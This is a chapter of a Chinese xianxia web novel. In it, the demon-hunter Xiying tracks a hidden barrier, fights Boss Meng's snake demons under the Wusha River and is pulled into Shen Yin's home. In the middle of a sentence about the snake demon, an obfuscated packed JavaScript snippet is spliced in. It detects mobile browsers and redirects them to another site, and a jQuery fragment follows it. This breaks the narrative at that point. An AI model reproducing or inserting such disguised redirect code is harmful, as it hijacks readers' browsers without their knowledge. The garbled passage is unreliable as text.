金渔从荷包摸出一方乌黑发亮的木牌往溪影眼前一亮:“这是天师的东西罢?” 正是溪影复刻的雕刻有金乌纹样的天驱宗通行牌。 “你何时摸走的?”溪影一把抽走,“手这么快?你小子!平时偷鸡摸狗的勾当没少干罢?” 金渔嘿嘿一笑,挠头道:“实不相瞒,方才天师被那蛇妖缠住时,从你身上掉下来,刚好滑到我手边的。只有天驱宗的驱魔师才会有这种样式的令牌——中午来客栈抓人的天师也佩戴了这样的令牌,天师你一定与天驱宗渊源颇深……” “原来你没晕呐?”溪影似笑非笑地逼近金渔,“挺沉得住气——你该不会是那蛇妖同伙?” “我不是!我没有!你胡说!”金渔脑袋一偏,又绕回上一句,“诶不对,那为什么天驱宗的要通辑——” “废话少说,带路——”溪影一把提溜起金渔后领,“不然我可就认为你是想要包庇那私自豢养蛇妖的暴徒了。” 金渔带着溪影在山上七拐八拐,又东窜西窜,愣是连墓地的影都没见着。 溪影蹙起眉,笑骂:“小兄弟,你到底认不认识路?遛我玩呢?” “不对啊,”金渔笃定道,“我记得就是这里,我去年还帮孟掌柜提过一篮纸钱上来。” 溪影见金渔神态不似作伪,姑且信了他。 以孟掌柜的身手,应当无法做到在一个时辰内将一座坟不留痕迹地挖走,那么最有可能的是——溪影猛地扔出一道符纸! 果然!这里有一道阻隔外人的隐形结界。 与雾纱江底的结界手法如出一辙。 如此大费周章去隐藏,这墓地必然有疑! 可惜,溪影强启化影术后灵气亏损,再加之中毒,现无法暴力破除此结界。 “走罢,下山。”溪影果断道。 金渔:“这就回去啦?可是……” 溪影知道他的顾虑:“放心,你先回龙吟客栈假装什么都不知道,若有孟掌柜的消息立即通知我,也算是为伏魔出了大力。” 溪影说着,递给他一枚铜铃与一道符纸:“一有消息,将符纸塞入铜铃,符纸一燃,我便会收到消息。” “哇!是法器!”金渔兴奋接过,捧在手心翻来覆去地摆弄,眼皮也不抬道,“天师放心,我保证会帮你通风报信的!” “多谢。”溪影道,“我还有事,先走一步,你赶紧回客栈罢!” 溪影说罢,脚下生风往山下奔去,金渔跟在她身后紧紧追了几步,溪影一个拐弯将他甩开,再不见踪影。 ………… 棠渡镇,雾纱江岸,一叶翠柳飘向江面。 与此同时,另一抹青色身影如针般扎入水面,溅起细碎水花,江面顷刻又归于平静。 溪影捏了避水诀,第二次潜入雾纱江底,江底世界在炎日照耀下尤显丰富,却独不见结界。溪影扔符纸查探,也探不到任何一点结界的存在。 “奇了怪了,难道赃物被转移了?” 溪影暗道不好:若藏在江底的灵珠已被孟掌柜转移走,那么便难再有场合令她露面。届时抓不住真正的贼人,一直躲避天驱宗搜查的自己就尤其可疑。 忽然,溪影耳尖敏锐一抽。 有人? 溪影立即借水草隐匿身形。 那人身着斑斓锦袍,身材高挑而曼妙,脑后发间一枚牡丹簪折射出昂贵金光——不是方才与溪影交手的孟掌柜又是谁?孟掌柜手上拿着罗盘式的法器,形色匆匆,显然在寻找什么。 她在找什么? 难不成也是在找结界?可这结界……不应当是她布下的么? 就见孟掌柜双手结印,缠绕在她腰间的鞭子瞬间化为蛇形,与方才缠绕溪影的浑圆青蟒不同,蛇妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688863|188861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现下变得扁扁一条,更适合在水中游。 溪影暗赞:修为还挺高。 而后,溪影仿佛花了眼,不知何时开始,一条蛇变为一群,水草似的四散开,仿佛织开一张松散的网,企图捕获什么。 孟掌柜十根手指合在一块,挽成花,灵气丝丝缕缕地链接操纵着她的蛇妖。忽然,蛇妖网集体触碰到什么,孟掌柜身躯一震,溪影也感觉到了异样的灵力波动——夹杂了那日江底所见灵珠的气息。 那批灵珠还在江底?! 所以孟掌柜是来寻这批灵珠的? 可这结界不应该是她设下的,为何她会进不去? 是与同伙闹掰了?还是……有第三人? 溪影脑中电光一闪,浮现出一个人——沈氤。 沈氤也来过江底,进入过盗贼藏脏的结界,还叫溪影不要将此事告诉他人…… 难道,沈氤当时对结界做了手脚,导致这结界一开始的主人都无法进入了? 他究竟有何目的? 溪影被万千困惑萦绕,一条水蛇猝然改变方向朝她袭来! 溪影当即躲开,却露了身影,抬头间,与孟掌柜的目光撞个正着。 孟掌柜惊怒喝到:“果然又是你捣的鬼!” 溪影义正言辞:“这真是冤枉。” “老子方才没下死手,竟让你这不知死活的黄毛丫头追到这来了!”孟掌柜更换一诀,“来得正好,你既喜欢鬼鬼祟祟,就永远留在这江底做一只水鬼罢!” 话音刚落,水蛇网四面八方朝溪影袭来,环绕、缩紧、围成一圈密不透风又一根根滑腻游动的蛇墙。 溪影看得头晕想吐:“你这招也忒恶心了,呕——” “死到临头还敢话多!”孟掌柜阴毒道,“不知是你嘴碎,还是我孩儿们将你撕得更碎?” “竟不打算给我留个全尸,”溪影撇撇嘴,“你太冷血了。” “聒噪。”孟掌柜十指齐齐朝掌心一卷,所有蛇头调准方向面向溪影,齐齐贪婪地吐出信子,像一面钉满了烧得通红的刀尖的刑柱,下一瞬,所有蛇妖张开血盆小口,猛地扑向溪影。 就在须臾之间,蛇群又撕咬着四散开,以溪影方才被困点为中心,迸发出一片青绿的织物碎片,旋转上升与翠绿的水草混为一体。 无血腥,也无歇斯底里,只余水流的沉默与砂石的寂静。 孟掌柜稳操胜券的神色陡然转为惊恐万分:“人呢?!” 与此同时,溪影跌入了结界中,天地倒转,她结结实实地摔在了地上。 溪影伸出双手去触摸……这是……炎热而干燥的地面?! 江呢?那么长一条雾纱江呢? 溪影难以置信地抬头,环顾四周,此地竟是一方种满了各色花草的小院落。 “你终于来了。” 溪影闻声回头,只见一棵立于孟秋而枝叶斑斓的桃树下,斜倚一人。 那人漫不经心道:“我等你好久,你怎么才找来。” 短短一日,已见三次,溪影怎会不认得他? “沈氤。”溪影一步步走向他,“是你特意将我带来此地?” 溪影语气笃定,又觉不妥,若有误会岂不是显得她很自作多情? 正计划着找补一句,就听沈氤道:“正是。” 啊?什么情况? “沈天师这算是……帮我脱身么?这是什么地方?” “我家。” “天驱宗?!”溪影瞬间警惕起来。 “不是,这里只是我的家。”沈氤蹙起眉,直直看向溪影,眼神竟有一丝飘渺的脆弱,“……受伤了,溪天师可否帮我疗伤?”